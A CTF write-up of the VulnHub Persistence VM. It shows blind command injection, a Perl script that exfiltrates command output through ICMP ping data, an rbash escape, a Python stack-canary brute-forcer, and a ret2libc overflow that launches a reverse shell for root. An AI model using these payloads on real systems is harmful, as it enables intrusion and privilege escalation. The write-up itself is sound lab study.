Persistence was a new VM available at vulnhub.com provided by sagi and superkojiman and there was actually an entire competition going on for a whole month based around it.
I decided to try myself and see how far I will be able to get to… and because I’m the type who doesn’t give up easily, I managed to finally get a root shell and learn A LOT all the way throughout the challange. I wanted to document everything I did as it could be a good reference point for me in the future and maybe some people will also be able to benefit from it. So… let’s get to it!
Introduction
Ok, let’s get it started! At first, I didn’t really know what to expect from the challange, certainly not digging into the level of details I did, but man, I enjoyed it so much and learnt heaps! Anyway, let’s get down to business.
Booted up Persistence VM, started up my Kali VM and let’s go.
Recon
Let’s find out the IP address of Persistence, both Kali and Persistence are running in Host only networking mode in my VMWare Fusion so since they’re on the same network, they’re able to communicate with each other. Lets use netdiscover on ethernet interface to find out:
12345678910
root@kali:~# netdiscover -i eth0
Currently scanning: 172.18.162.0/16 | Screen View: Unique Hosts
18 Captured ARP Req/Rep packets, from 3 hosts. Total size: 1080
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor
-----------------------------------------------------------------------------
172.16.246.1 00:50:56:c0:00:01 14 840 VMWare, Inc.
172.16.246.128 00:0c:29:3a:9e:ba 02 120 VMware, Inc.
172.16.246.254 00:50:56:e9:6d:00 02 120 VMWare, Inc.
Cool, so now we’ve got the IP address, let’s see what ports and services are listening:
123456789101112131415161718192021222324
root@kali:~# nmap -sV -A 172.16.246.128
Starting Nmap 6.47 ( http://nmap.org ) at 2014-09-28 17:50 EST
Nmap scan report for 172.16.246.128
Host is up (0.00044s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.4.7
|_http-methods: No Allow or Public header in OPTIONS response (status code 405)
|_http-title: The Persistence of Memory - Salvador Dali
MAC Address: 00:0C:29:3A:9E:BA (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.44 ms 172.16.246.128
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.97 seconds
Ha, we have a webserver listetning on port 80 (well, kinda expected) - let’s see what’s in there. Open up Icewessel and poke around. Unfortunately except a pretty picture there’s nothing interesting in there. Check the source, nothing in there either. Okay, let’s poke around a bit more - open up dirbuster and try to find something else.
Using dirbuster wordlist that came with Kali, didn’t take long to find debug.php page:
1234567
root@kali:~# dirbuster
28/09/2014 6:02:23 PM java.util.prefs.FileSystemPreferences$2 run
INFO: Created user preferences directory.
Starting OWASP DirBuster 1.0-RC1
Starting dir/file list based brute forcing
Dir found: / - 200
File found: /debug.php - 200
Blind command injection
Awesome, looks like we can try to do something here. First thought - command injection! But let’s see how the site is supposed to work - allegedly it’s for pinging addresses, so I typed in “localhost” and clicked submit. You can see that the server is “thinking” a bit and returns to the page without displaying any results. When you provide an invalid input “blah”, it comes back to the form straight away and also doesn’t display any results.
Ok, if there is a command injection vulnerability, it’ll be a blind command injection and we’ll either need to hope that the command just works (e.g. trying to spawn a shell) or we’ll need to come up with some way to send results back to us.
Let’s first see if there’s a command injection vulnerability. The simplest way would be to try to ping back our host, so I have started packet capture and typed in the following in our webform:
1
localhost; ping -c 1 172.16.246.129
Ha! It is vulnerable as we can see ping packet coming back to our host:
12345
root@kali:~# tcpdump -i eth0 -n icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
18:19:34.216444 IP 172.16.246.128 > 172.16.246.129: ICMP echo request, id 63238, seq 1, length 64
18:19:34.216480 IP 172.16.246.129 > 172.16.246.128: ICMP echo reply, id 63238, seq 1, length 64
So now we need to find out what we can actually do with it. I’ve come up with a one-liner to test out number of commands that we can utilise:
1
localhost; command; if [ $? -eq 0 ]; then ping -c 1 172.16.246.129; fi
It’ll ping me back if the ‘command’ is successful. From now on I started running all bunch of different commands to find out what I can actually do on the system and what potential shells I could spawn. I tried number of various commands such as:
ls /usr/bin/python
touch /tmp/test
echo “test” > /tmp/test
… and many many more.
Some of them returned success, so it gave me pretty good idea what I may be able to do here.
Next, I started playing around with shells - I was trying to spawn various TCP shells using either python or native bash (with redirections to /dev/tcp/172.16.246.129/31337), but with no success. I tried researching and attempting to spawn some UDP shells, but also with not much luck.
After many many hours of trying everything I could think of, it seemed that pretty much everything except ping is being blocked by a firewall. I was tempted to start looking into spawning shells over ICMP, but after quick research I couldn’t really find any way of doing it without additional software that I would need to put on persistence, so my next step was trying to find a way of sending back output of my commands. Back to basics, RTFM:
1
man ping
Hmmm, something interesting, -p option (sending data in the data portion of the icmp packet)… I could use that to send back output back to myself! I can only send 56 bytes at a time, but that’s ok - I’ll just split the response into number of chunks and send them over one-by-one.
I have created a Perl script to send out commands to persistence via vulnerable debug.php, run output via xxd and save it in a hex format in a temp file, read the output file 16 characters at a time and send it back in a data portion of the icmp packet. This way it’ll be a lot easier for me to run number of commands quickly without trying to type it in and modify in this small text field on debug.php site.
Post form data
123456789101112131415161718
#!/usr/bin/perl# Target URL$target_url='http://172.16.246.128/debug.php';# Host IP$host_ip='172.16.246.129';#Command to run $CMD='pwd';useLWP;useHTTP::Request::Common;$ua=$ua=LWP::UserAgent->new;;$res=$ua->request(POST$target_url,Content_Type=>'form-data',Content=>[addr=>"localhost; COMMAND=\"$CMD\"; \$COMMAND 2>&1 | xxd -p > /tmp/\$COMMAND.hex; while read -n 16 hex; do ping -c 1 -p \$hex $host_ip; done < /tmp/\$COMMAND.hex;"]);
So, first test with pwd command (as in the above source). Again, I’ve started tcpdump (this time with -X option to also display data portion of the packet) and let’s see what happens:
Woohoo, getting some data back! A bit hard to read, but we can manage - output of this one is ‘/usr/share/nginx/html’.
Alright, let’s see what else do we have here - try ls command. Modify source of my script a bit ($CMD=‘ls’) and send it through. Hmmmmm… something interesting in the output:
So we have 2 files, one is the JPG with Salvadore Dali’s painting, the other one looks very interesting though: sysadmin-tool. Let’s have a look what it is and download it via web browser: http://172.16.246.128/sysadmin-tool
I don’t like running unknown binaries, so let’s have a look at strings:
12345678910111213141516171819202122232425
root@kali:~/data# strings sysadmin-tool
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
chroot
strncmp
puts
setreuid
mkdir
rmdir
chdir
system
__libc_start_main
GLIBC_2.0
PTRh
[^_]
Usage: sysadmin-tool --activate-service
--activate-service
breakout
/bin/sed -i 's/^#//' /etc/sysconfig/iptables
/sbin/iptables-restore < /etc/sysconfig/iptables
Service started...
Use avida:dollars to access.
/nginx/usr/share/nginx/html/breakout
By the looks of it, it modifies iptables by uncommenting lines that were commented out - maybe finally TCP will be allowed! Also, avida:dollars is quite interesting, could be username:password combination for later - let’s keep that in mind. Oh, also, seems that we have to run it with –activate-service parameter.
Cool, back to my script, modify $CMD variable remembering to include ./ before the binary name since we are running it from local directory ($CMD=‘./sysadmin-tool –activate-service’) and hope for the best…
Alright, in our ping data we can see the output “Service started Use avida:dollars to access”. Awesome! Let’s run nmap on again and see what’s that new service.
12345678910111213141516171819202122232425262728
root@kali:~# nmap -sV -A 172.16.246.128
Starting Nmap 6.47 ( http://nmap.org ) at 2014-09-28 19:33 EST
Nmap scan report for 172.16.246.128
Host is up (0.00046s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.3 (protocol 2.0)
| ssh-hostkey:
| 1024 f6:c7:fe:24:09:fa:dc:db:ea:7e:33:6a:f5:36:58:35 (DSA)
|_ 2048 37:22:da:ba:ef:05:1f:77:6a:30:6f:61:56:7b:47:54 (RSA)
80/tcp open http nginx 1.4.7
|_http-methods: No Allow or Public header in OPTIONS response (status code 405)
|_http-title: The Persistence of Memory - Salvador Dali
MAC Address: 00:0C:29:3A:9E:BA (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.47 ms 172.16.246.128
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.80 seconds
Woohoo! Port 22 is open and listening! And guess what, avida:dollars is probably username:password combination that we could use to log-in.
Escaping from a restricted shell
12345678
root@kali:~# ssh avida@172.16.246.128
The authenticity of host '172.16.246.128 (172.16.246.128)' can't be established.
RSA key fingerprint is 37:22:da:ba:ef:05:1f:77:6a:30:6f:61:56:7b:47:54.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.16.246.128' (RSA) to the list of known hosts.
avida@172.16.246.128's password:
Last login: Mon Mar 17 17:13:40 2014 from 10.0.0.210
-rbash-4.1$
And we have access! But what the hell is that - rbash? Restricted shell? Arrrrgh! Let’s try to escape from it.
First, recon - poke around and see what we can do and what we can’t.
So, there are number of commands we can run, all interesting environment variables seem to be read only - we can’t change PATH or SHELL, I also tried connecting via SSH and running arbitrary commands, but that didn’t work either.
Played around with some basic stuff to see what we can do and what not, but apart from creating empty files in /tmp, we can’t do much more - can’t redirect output, can’t include / in command names, quite a lot of restrictions. Also .bash_history .bashrc and .profile files had nothing of interest.
Let’s have a look at what commands we can run (anything in /home/avida/usr/bin) and do they offer any shell escape commands.
First 2 that stand out are telnet and ftp. They both have capabilities of spawning a shell - let’s try telnet:
Doesn’t work - it tried to invoke a subshell utilising the current shell. How about ftp:
123
-rbash-4.1$ ftp
ftp> !/bin/bash
bash-4.1$
Haaaaaaaaa! We have unrestricted shell! So now we just need to find privilege escalation point and we’re done - we should be really close… but that’s where the fun just begins.
Privilege escalation via buffer overflow vulnerability
First of all, let’s update PATH to include standard locations of the binaries (we’re still having the same PATH variable as in the restricted shell). I also like to set up some aliases:
123
bash-4.1$ PATH=/bin:/usr/bin:/usr/local/bin
bash-4.1$ alias ls='ls -al --color'
bash-4.1$ alias l='ls'
Cool, let’s see what do we have here that we could utilise. First thing’s first - sudo!
123
bash-4.1$ sudo -l
[sudo] password for avida:
Sorry, user avida may not run sudo on persistence.
Ah, that sucks. Keep poking around, is there anything interesting running…
Promising! Running as root. Let’s try to run it again:
12
bash-4.1$ /usr/local/bin/wopr
bind: Address already in use
Cool! Let’s see what addresses are in use then - must be some kind of a server running…
1234567891011
bash-4.1$ netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:3333 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 0 172.16.246.128:22 172.16.246.129:60442 ESTABLISHED
tcp 0 0 :::22 :::* LISTEN
tcp 0 0 ::1:25 :::* LISTEN
Alright, let’s connect to port 3333.
123456
bash-4.1$ nc localhost 3333
[+] hello, my name is sploitable
[+] would you like to play a game?
> yes
[+] yeah, I don't think so
[+] bye!
So we have an exploitable (apparently) server listening locally that accepts user input. Tried few inputs like “help”, “options”, “usage”, but they all didn’t work - seems that it doesn’t really do anything.
But, since it accepts user input and doesn’t seem to sanitize its length, that sounds like a possibility of a buffer overflow vulnerability!
12345
bash-4.1$ python -c '"A" * 30000' | nc localhost 3333
[+] hello, my name is sploitable
[+] would you like to play a game?
> [+] yeah, I don't think so
[+] bye!
Let’s see what the binary has to tell us about itself.
bash-4.1$ file /usr/local/bin/wopr
/usr/local/bin/wopr: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
bash-4.1$ strings /usr/local/bin/wopr
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
socket
exit
htons
perror
puts
fork
__stack_chk_fail
listen
memset
__errno_location
bind
read
memcpy
setsockopt
waitpid
close
accept
__libc_start_main
setenv
write
GLIBC_2.4
GLIBC_2.0
PTRhP
[^_]
[+] yeah, I don't think so
socket
setsockopt
bind
[+] bind complete
listen
/tmp/log
TMPLOG
[+] waiting for connections
[+] logging queries to $TMPLOG
accept
[+] got a connection
[+] hello, my name is sploitable
[+] would you like to play a game?
[+] bye!
Sweet, it’s not packed so we can actually see some stuff. Couple things that stand out:
socket
fork
memcpy
setenv
TMPLOG
/tmp/log
From that, we can deduct in a very high level what the binary may be doing - server listening for connections, upon new connection forks a new process and obtains user input via memcpy function. There’s also setenv, that probably sets TMPLOG variable to /tmp/log. Unfortunately, /tmp/log doesn’t exist so it doesn’t provide any useful information… at least not at the moment!
Alright, let’s do some more analysis and testing on the binary itself. I want to be able to run it in my own environment and see how it behaves, debug and see what I can do with it. For this I’ll need a very close replica of the environment it’s already running on, so I went ahead and downloaded Centos 6.5 with the same kernel and set-up another VM.
1234
bash-4.1$ uname -a
Linux persistence 2.6.32-431.5.1.el6.i686 #1 SMP Tue Feb 11 21:56:33 UTC 2014 i686 i686 i386 GNU/Linux
bash-4.1$ cat /etc/*release
CentOS release 6.5 (Final)
Having all that, now I needed wopr binary. Since I still can’t copy stuff across due to firewall restrictions, without messing around too much I thought of this quick and nasty way of copying it across - simply copying hex value of it and recreating it on my local CentOS VM.
Alright, now we have the binary on our local CentOS and we can successfully run it, debug it and do whatever we like with it! Unfortunately CentOS didn’t come with nc and gdb by default, so needed to download it with yum.
Ok, let’s run it and see is there any more information displayed on the server side that could be useful in our research. Run the server, connect to it and provide some random size input:
12345
[knaps@localhost ~]$ chmod 755 wopr
[knaps@localhost ~]$ ./wopr
[+] bind complete
[+] waiting for connections
[+] logging queries to $TMPLOG
After some research, it looks like it’s a Stack Smashing Protection (SSP) and here we are introduced to the first hurdle - a canary.
So what’s a canary? It’s simply a value placed on a stack before the return address that is checked after returning from a function. If it’s changed, that means someone was trying to overflow the buffer and get to the return address, so the program will throw an exception and terminate. Otherwise, it will happily run.
So what we’ll need to do? Overwrite a canary with its original value while overflowing our way to return address! Yeah… but there’s a problem - canary is a completely random value, so good luck, it will be pretty much impossible to come up with a winning combination in a reasonable time. We’ll need to come up with something more clever than that…
Let’s run gdb and disasemble our program. Without pasting in the whole input here, after quick high level analysis we can see that the server creates a socket and listens for new connections, when new connection comes in, new process is forked and then get_reply command invoked that contains canary checking code and vulnerable function memcpy. See snippets below:
Wait, wait, wait… new child processes are created with fork! See this quote from man pages:
1
fork() creates a new process by duplicating the calling process. The new process, referred to as the child, is an exact duplicate of the calling process (...)
This includes canaries! Forked process will have exactly the same canary as a parent process… what does it give us? Well, since it’s a server and constantly accepting new connections (therefore forking new processes with exactly the same canary) we can guess the canary! And to make it a lot quicker, we can try to guess it byte by byte in order to speed up the process. Sweet!
There are few bits missing before we can attempt guessing the canary - we need to know the size of a buffer, offset of a canary and of a return address. Canary sits immediatelly before the saved base pointer and return address and is 4 bytes long. See below illustration of a stack:
Alright, let’s get to work. To find all necessary offsets we’ll use metasploit tool to generate unique pattern of characters of a given length. This way we’ll be able to figure out where exactly in the string given bytes are that were used to overwrite return address.
[knaps@localhost ~]$ nc localhost 3333
[+] hello, my name is sploitable
[+] would you like to play a game?
> Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
[+] yeah, I don't think so
Check the value of return address in our server output:
Cool, so now knowing all of our offsets, we can craft something for guessing a canary! There’s one more thing though… how do we know when we have guessed a right byte in the canary value so we can move on to the next byte? Let’s have a look at the output returned by the server.
Successful response (no buffer overflow):
123456
[knaps@localhost ~]$ nc localhost 3333
[+] hello, my name is sploitable
[+] would you like to play a game?
> yes
[+] yeah, I don't think so
[+] bye!
Failed response (buffer overflow):
1234
[knaps@localhost ~]$ python -c 'print "A" * 30 + "CCCC" + "BBBB" + "DDDD"' | nc localhost 3333
[+] hello, my name is sploitable
[+] would you like to play a game?
> [+] yeah, I don't think so
Do you see the difference? Whenever we behave as the server expects us to behave, it greets us with “bye!” message, otherwise - it doesn’t. That’s the indicator when the guess was successful!
It didn’t take too long to come up with a quick and dirty (very dirty) script to guess a canary value:
Guessing canary value
123456789101112131415161718192021222324252627
#!/usr/bin/pythonimportsocket# Guess canaryfound=Falsebase_buffer="A"*30# our buffer size is 30forcountinrange(0,4):foriin['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f']:forjin['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f']:buffer=base_buffer+(i+j).decode('hex')sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)sock.connect(("localhost",3333))data=sock.recv(1024)sock.send(buffer)data=sock.recv(1024)data=sock.recv(1024)if"bye"indata:print"\\x"+i+jbase_buffer+=(i+j).decode('hex')found=Truebreaksock.close()iffound:found=Falsebreak
And we have a canary! (So far just on local CentOS).
Alright, now what can we do? How about typical buffer overflow, find some shellcode to chuck it on the stack, then point back to it and spawn a shell? Well, sounds good, but only in theory. Running very handy script below checksec.sh we can find out more about our binary:
123
[knaps@localhost ~]$ ./checksec.sh --file wopr
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH wopr
Turns out there’s NX (non-executable) stack protection mechanism as well - meaning that we can’t execute code from data portions of the program. Hmm, bummer!
What else is there… running below program we can quickly determine that address of the stack pointer doesn’t change - hence ASLR (Address Layout Space Randomization) must be disabled!
Ok, that’s very good news - it means that stack, variables and libraries would always be at the same position - that’s a very handy piece of information we can utilise.
After hours and hours of research I found this technique called “ret2libc” - basically what it means is that you point the code into a function in the libc library (that is generally imported by most Unix programs) and call functions from there. One really interesting function is system(), which executes whatever command you pass to it as an argument. That sounds pretty awesome! All we need is to find out the address of system() function - which shouldn’t be hard since ASLR is disabled and functions will always be at the same place in the memory. AWESOME!
There’s one little problem though… you need to pass in a string with whatever you want to run into the system() function call. So, I want to run something along the lines of /bin/bash, how can I pass it in? I need to find it somewhere in memory so I can pass its address onto the stack to be interpreted as an argument passed to the function. Alright, but, where do I find it? Generally you can set an environment variable to whatever you like, run the program, get string from environment variable and run system(), simple. Yeah, but on persistence wopr is already running, we can’t stop it and restart it with new environment variables… and of course you can’t change the environment of a running process (at least not without root permissions).
We’ll need to utilise something else. Also, simply calling /bin/bash won’t work, as it would be spawned by server and nothing would have happened for us - we actually need a reverse shell that we would be able to connect to after.
Again, after hours of research I couldn’t really come up with anything. Took a break from it and then, one sunny Friday morning, while still lying in bed trying to wake up, it hit me! Remember /tmp/log variable that we found earlier? Yeah, I forgot it too! What we can do is - create a simple program or script creating a reverse shell, call it “log”, place it in /tmp, find /tmp/log string in the binary (it would be saved as a variable somewhere), pass it in to system() function, which then will run our /tmp/log program and bam! We’ve got a shell!
And that’s exactly what I did next. Let’s get back to my Kali VM where I already have established SSH to persistence.
First, the /tmp/log program. I went ahead with C and simply creating reverse shell connecting to port 31337. Also I make sure to se setuid and setgid to keep permissions of a calling process (root!).
Now we just need to find address of system() and exit() (to cleanly return from system() call) and we’re almost done!
First, there’s a small trick that needs to be done, since gdb still thinks we’re using restricted shell, it won’t allow us to run the program and therefore load symbols table to find out addresses of functions. To bypass this, we simply need to change $SHELL variable:
Now we can start up gdb, run the binary (it will fail anyway, but will load up symbols table) and find out addresses of interest.
12345678910111213
bash-4.1$ gdb -q wopr
Reading symbols from /usr/local/bin/wopr...(no debugging symbols found)...done.
(gdb) r
Starting program: /usr/local/bin/wopr
bind: Address already in use
Program exited with code 0142.
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.132.el6.i686
(gdb) p system
$1 = {<text variable, no debug info>} 0x16c210 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x15f070 <exit>
(gdb)
Cool, now we have all addresses, so we can begin crafting our payload. That’s what we’re aiming to achieve:
12345678910111213141516171819202122
.
-- Current -- -- Target --
0000
------------------ ------------------
| | | |
| | | AAAAAAAAAAAAAA |
^ | Buffer | 30 bytes | AAAAAAAAAAAAAA | Overflow buffer with dummy data
| | | | AAAAAAAAAAA... |
stack | | | |
growth ------------------ ------------------
| | Canary | 4 bytes | Canary | Real canary, so we're not detected
| ------------------ ------------------
| Base pointer | 4 bytes | BBBB | Dummy data to overwrite saved base pointer
------------------ ------------------
| Return address | 4 bytes | system() | system() call
------------------ ------------------
| | | exit() | exit() which will be called upon returning from system()
| Rest of the | ------------------
| stack | | /tmp/log | arguments to system() - our malicious program to run
| | ------------------
| ... | | ... |
FFFF
Basically, we’re trying to create a stack frame as if we were calling a new function. Remember that everything is put onto the stack in reverse other, therefore we have (starting from the bottom of the stack - what came in first): function arguments and return address from the function (new EIP). And of course we overwrite old return address with system() call to have it executed.
From this, our payload will look something like this:
Cool, so now we have all necessary components - size of the buffer, guessed canary, addresses of system, exit and /tmp/log. All we need now is to carefully craft a payload, remembering it’s all in Little Endian, so memory addresses will be written in reverse, and send it to the server. Shall we?
Start the netcat listener:
1
bash-4.1$ nc -l 31337
Guess the canary (copy-paste source code onto persistence and run it):
Wooooooooooohooooooooooo! Root shell :D Let’s get the flag:
1234567891011121314151617181920212223242526272829
cd /root
ls
anaconda-ks.cfg
flag.txt
install.log
install.log.syslog
cat flag.txt
.d8888b. .d8888b. 888
d88P Y88bd88P Y88b888
888 888888 888888
888 888 888888 888888 888888888
888 888 888888 888888 888888
888 888 888888 888888 888888
Y88b 888 d88PY88b d88PY88b d88PY88b.
"Y8888888P" "Y8888P" "Y8888P" "Y888
Congratulations!!! You have the flag!
We had a great time coming up with the
challenges for this boot2root, and we
hope that you enjoyed overcoming them.
Special thanks goes out to @VulnHub for
hosting Persistence for us, and to
@recrudesce for testing and providing
valuable feedback!
Until next time,
sagi- & superkojiman
Summary
It was one awesome challenge, took me a bit, but learnt soooo much. I have a lot better understanding of buffer overflows and modern protection mechanisms. I haven’t done so much research on a single topic for quite a long time, but I am very glad I did because now I feel a lot more comfortable dealing with this kinds of vulnerabilities and crafting my own exploits :) Hope there’ll be more challenges like this to come!
Also, I could have written a fully automated exploit at the end, but I thought I’ll keep it like this, quite manual and low level as I think it shows better exactly what has been done and how I have approached the problem :) Also, since this one is pwned already, honestly I can’t be bothered writing up prettier exploits - I rather move on to smashing another VMs :)